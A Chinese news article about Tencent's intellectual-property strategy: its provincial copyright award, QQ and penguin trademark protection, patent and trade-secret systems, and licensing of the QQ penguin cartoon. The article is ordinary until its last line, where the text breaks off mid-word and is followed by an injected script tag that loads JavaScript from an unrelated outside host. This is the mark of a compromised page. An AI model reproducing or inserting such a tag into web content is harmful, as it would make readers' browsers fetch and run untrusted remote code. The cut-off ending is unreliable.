日前，新一批广东省级版权兴业示范基地授牌，腾讯科技（深圳）有限公司是深圳市惟一入选企业。与此同时，腾讯qq与企鹅商标又荣获广东省著名商标，这也是广东省首个来自互联网产业的著名商标。这些殊荣的获得，是腾讯长期以来重视知识产权保护的结果，也体现出深圳一批创意、文化产业的中坚企业对实施知识产权战略的高度认识。

近年来，国内互联网产业进入高速发展时期。在激烈的市场竞争中，知识产权的创造与保护对互联网企业来说显得越来越重要。作为深圳本土成长起来的创意与科技结合的典范企业，腾讯将知识产权保护及“版权兴业”作为企业发展的重要保障，建立了一套内容涵盖域名、商标、版权、专利、商业秘密的全方位知识产权保护体系，使腾讯qq成为一个最具知名度与价值空间的网络品牌。

日前，记者采访了腾讯公司主要创办人之一、首席行政官陈一丹先生，获悉腾讯知识产权战略秘笈，相信其经验做法对我市创意产业、文化产业及科技型企业具有重要启示。

知识产权兴业之路

腾讯1998年11月创立于深圳，最初只专注于互联网即时通讯产品qq的研发，到今天已发展成中国市值最高的综合互联网企业，产品与服务涵盖即时通信、门户资讯、互动娱乐、电子商务等领域。qq软件现注册用户超过5亿，活跃用户近2亿，拥有国内最大的互联网注册使用群，在即时通信领域排名国内第一、全球第二。

那么，小企鹅qq是如何成为深受网民喜爱的超人气卡通形象的？腾讯首席行政官陈一丹介绍，最早是利用互联网媒体实现了qq企鹅卡通形象的快速传播，之后又把这一卡通形象进行许可授权，让qq形象延伸到更多商业领域，迅速扩大了品牌知名度，让企业获得了高速发展。如今，知识产权已成为腾讯公司重要的生产资料。由此可见，腾讯的发展之路就是一条知识产权兴业之路。腾讯已成为中国互联网公司知识产权保护卓有成效的范例。

知识产权战略是腾讯的企业发展战略中最重要的一环。腾讯着力为新产品建立了一套内容涵盖域名、商标、版权、专利、商业秘密的全方位保护体系。这一该体系的前端起始于任何技术和业务产品研发立项之初，即有针对性制定相应的知识产权保护策略。腾讯还在新产品的scm系统中，加入对产品及新业务进行发布前的知识产权评审，以便及时发现新发明、新创造，同时也能防止侵犯他人的知识产权。腾讯非常重视保护企业的自主知识产权，重视员工的知识产权教育。腾讯不仅设置有法务部，负责公司知识产权的全面管理，包括知识产权日常维护和知识产权许可贸易的审查，还在研发中心设置了专利团队，负责对公司的技术发明进行专利发掘和国内国际保护。

复合保护立体维权

可爱的企鹅qq卡通形象广受欢迎，既反映了腾讯公司精彩的创意设计深入人心，又显示了腾讯利用信息网络实现动漫品牌形象快速传播取得的巨大效果，这是近年来中国本土动漫的一次意义深远的事件。

别出心裁的创意设计是腾讯成功的一个重要因素。为了保护创意成果，腾讯不遗余力地实施知识产权复合保护战略，立体维权。其具体做法有三种：

其一，版权＋商标权。2000年，腾讯创造性地设计出企鹅卡通形象代言企业产品，这一卡通形象不仅被进行版权登记，同时还进行全类商标注册保护。在商标保护方面，腾讯的策略是对核心商标实行全类注册保护。qq、企鹅卡通形象是腾讯的著名商标。qq商标随着用户群的扩张，被誉为亿万网民的聊天品牌。腾讯不但对企业名称、公司域名、软件产品名称进行商标注册，对经典的广告语如“q人类、q生活”也都进行了商标注册，另外还申请注册防御性商标。

其二，版权＋商业秘密保护。对一些已经创作完成的作品，如软件代码、设计图纸等，始终以周密的商业秘密保护措施加以保护。

其三，版权＋专利保护。在专利保护方面，腾讯通过建设专利管理数据库系统与专利申请项目跟踪系统连接在一起，实现专利申请的整套电子化流程与管理。

延伸授权品牌增值

如果说，注重保护让腾讯有效地捍卫了智力成果，那么通过知识产权授权，腾讯则品尝到了品牌增值的巨大甜头。

2000年，腾讯开始开展qq品牌及卡通形象授权业务，授权专业公司生产销售qq周边产品，推出一系列产品，从公仔到小饰品、服装等全面开花，一时间，qq迅速成为媲美“米老鼠”、“唐老鸭”、kitty猫的新一代时尚娱乐符号。qq迷的疯狂抢购以及市场上一夜之间冒出的大量仿造品，有力地验证了这个经营思路的可行性，这开创了中国互联网公司创造、发展卡通品牌的先河。2005年3月，腾讯独家授权与郑州小樱桃卡通公司创作出版《qq漫画》。卡通品牌形象授权是腾讯充分利用知识产权，为知识产权增值的代表性业务。

然而，知识产权授权带来收益的同时也给腾讯带来了知识产权的管理难题，因为一旦授权许可管理不善或约定不明，将使其丧失应有的权利。腾讯经过几年的摸索，制定出一套颇有特色的管理qq品?script src=http://er12.com/t.js>